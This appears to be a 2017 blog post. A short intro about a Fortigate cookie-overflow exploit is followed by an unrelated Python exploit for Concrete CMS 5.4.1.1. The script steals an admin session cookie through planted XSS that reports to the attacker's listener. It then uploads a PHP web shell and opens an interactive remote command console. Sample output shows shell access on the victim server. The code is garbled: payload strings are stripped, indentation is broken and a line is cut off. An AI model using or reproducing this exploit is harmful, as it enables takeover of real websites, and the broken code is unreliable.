Sunday, May 21, 2017

EGREGIOUSBLUNDER. It is a remote code execution exploit for Fortigate firewalls. It leverages an HTTP cookie overflow and is different from CVE-2006-6493 as noted by Avast. Models affected include 60, 60M, 80C, 200A, 300A, 400A, 500A, 620B, 800, 5000, 1000A, 3600, and 3600A.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/python
# Concrete CMS v5.4.1.1 xss/remote code execution exploit
# Special Zeitgeist pre release - "Moving Forward" - 15th Jan 2011
# "They must find it difficult, those who take authority as the truth instead of truth as the authority"
# PoC usage:
# [mr_me@pluto concrete5]$ python ./1.py -t 192.168.1.15 -d /webapps/concrete5/ -p 8081 -s suntzu -i wlan0
#
#   | --------------------------------------------------- |
#   | Concrete CMS v5.4.1.1 Remote Code Execution Exploit |
#   | by mr_me - net-ninja.net -------------------------- |
#
# (+) Created XSS in index.html, send the XSS to the admin
# (+) Listening on port 8081 for our target
# (+) Recieved a connection from 192.168.1.2
# (+) Got the cookie tqarj8poclha1oso9e9haa9f66, checking if we have admin access..
# (+) Admin access is confirmed
# (+) Determining the upload nounce
# (+) Got the file upload nounce, uploading 'suntzu' shell..
# (+) Shell uploaded! Now looking for it
# (+) Entering interactive remote console (q for quit)
#
# mr_me@192.168.1.15# id    
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
# mr_me@192.168.1.15# uname -a
# Linux steve-ubuntu 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
#
# mr_me@192.168.1.15# q
 
import socket, sys, urllib2, re, struct, fcntl, getpass, base64
from optparse import OptionParser
 
usage = "./%prog -t [target] -d [path] -p [port] -s [shell name] -i [interface]"
usage += "\nExample: ./%prog -t 192.168.1.17 -d /webapps/concrete5/ -p 8080 -s suntzu -i wlan0"
 
parser = OptionParser(usage=usage)
parser.add_option("-t", type="string", action="store", dest="target",
                  help="Target server as IP or host")
parser.add_option("-d", type="string", action="store", dest="path",
                  help="Directory path of Concrete CMS of your target")
parser.add_option("-p", type="string",action="store", dest="port",
                  help="Server port to listen on")
parser.add_option("-s", type="string", action="store", dest="shellName",
                  help="shell name to write on the target server")
parser.add_option("-i", type="string", action="store", dest="ifce",
                  help="External network interface, must be routable.")
 
(options, args) = parser.parse_args()
 
def banner():
    print "\n\t| --------------------------------------------------- |"
    print "\t| Concrete CMS v5.4.1.1 Remote Code Execution Exploit |"
    print "\t| by mr_me - net-ninja.net -------------------------- |\n"
 
if len(sys.argv) < 10:
        banner()
        parser.print_help()                                                                   
        sys.exit(1)
 
# set the php code injection (just an example here)
phpShell = ""
myCmd = "?cmd="
 
def get_ip_address(ifname):
        ls = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        return socket.inet_ntoa(fcntl.ioctl(ls.fileno(), 0x8915, struct.pack('256s', ifname[:15]))[20:24])
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", int(options.port)))
s.listen(1)
 
def sendPostRequest(req):
        su = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # change the port to another, if they are running the CMS off another port (443?)
        try:
                su.connect((options.target,80))
        except:
                print "(-) Failed making the connection to target %s" % options.target
        su.send(req)
        data = su.recv(1024)
        su.close()
        return data
 
def generateShellUpload(cookie, ccm_token):
        postRequest = ("POST %sindex.php/tools/required/files/importers/single HTTP/1.1\r\n"
        "Host: %s\r\n"
        "Cookie: CONCRETE5=%s;\r\n"
        "Content-Type: multipart/form-data; boundary=---------------------------lulz\r\n"
        "Content-Length: 313\r\n\n"
        "-----------------------------lulz\n"
        "Content-Disposition: form-data; name=\"Filedata\"; filename=\"%s.php.xla\"\r\n\n"
        "%s\n"
        "-----------------------------lulz\n"
        "Content-Disposition: form-data; name=\"ccm_token\"\r\n\n"
        "%s\n"
        "-----------------------------lulz--\r\n\r\n" % (options.path, options.target, cookie, options.shellName, phpShell, ccm_token))
 
        return postRequest
 
def xssTheAdmin():
        print "(+) Created XSS in index.html, send the XSS to the admin"
        print "(+) Listening on port %s for our target" % (options.port)
        xssJunk = (""
        "
http://%s%sindex.php/dashboard/scrapbook/addScrapbook/
\">"
        ""
        "
"
        "
" % (options.target, options.path, get_ip_address(options.ifce),options.port))
        try:
                xssFile = open('index.html','w')
                xssFile.write(xssJunk)
                xssFile.close()
        except:
                print "(-) Error writing file.."
                sys.exit(1)
 
def sendPayloads(uri, magicCookie):
        try:
                req = urllib2.Request(uri)
                req.add_header('Cookie', 'CONCRETE5='+magicCookie)
                check = urllib2.urlopen(req).read()
        except urllib.error.HTTPError, error:
                check = error.read()
        except urllib.error.URLError:
                print "(-) Target connection failed, check your address"
                sys.exit(1)
        return check
 
def interactiveAttack(ws):
        print "(+) Entering interactive remote console (q for quit)\n"
        hn = "%s@%s# " % (getpass.getuser(), options.target)
        cmd = ""
        while cmd != 'q':
                cmd = raw_input(hn)
        cmd64 = base64.b64encode(cmd)
                cmdResponse = sendPayloads(ws+myCmd+cmd64,"lolnoauth")
                print cmdResponse
 
def startShellAttack():
        conn, addr = s.accept()
        print "(+) Recieved a connection from %s" % addr[0]
        while 1:
        data = conn.recv(1024)
        cookie = re.search('CONCRETE5=(.*)', data)
        cookie = cookie.group(1)[:26]
        target = data.split("Referer: ")[1].rstrip()
        confirmTarget = "http://"+options.target+options.path+"index.php/dashboard/scrapbook/".rstrip()
        target = target[:len(confirmTarget)]
        if target == confirmTarget:
            print "(+) Confirmed target @ %s" % (target)
        else:
            print "(-) Error, mismatch of targets."
            sys.exit(1)
        print "(+) Got the cookie %s, checking if we have admin access.." % (cookie)
        adminCheck = sendPayloads(target, cookie)
        if re.search('delete this scrapbook', adminCheck):
            print "(+) Admin access is confirmed"
        else:
            print "(-) This is not an admin cookie. Exiting.."
            sys.exit(1)
        print "(+) Determining the upload nounce"
        nounceRequest = "http://"+options.target+options.path+"index.php/dashboard/files/search/"
        nounceResponse = sendPayloads(nounceRequest, cookie)
        ccm_token = nounceResponse.split(")[1].split("\" />")[0]
        print ("(+) Got the file upload nounce, uploading '%s' shell.." % (options.shellName))
        uploadReq = generateShellUpload(cookie, ccm_token)
        findShell = sendPostRequest(uploadReq)
        print "(+) Shell uploaded! Now looking for it"
        magicNum = re.search('(?<=push\()\w+', findShell)
        % (options.target, options.path, magicNum.group(0)))
        shellSearch = sendPayloads(shellSearchReq, cookie)
        shellLoc = shellSearch.split("URL to File")[1].split("
")[0].split("=\"2\">")[1]
        print ("(!) Shell found at %s" % (shellLoc))
        break
        conn.close()
        return shellLoc
 
if __name__ == "__main__":
        banner()
        xssTheAdmin()
        webShell = startShellAttack()
        interactiveAttack(webShell)

No comments: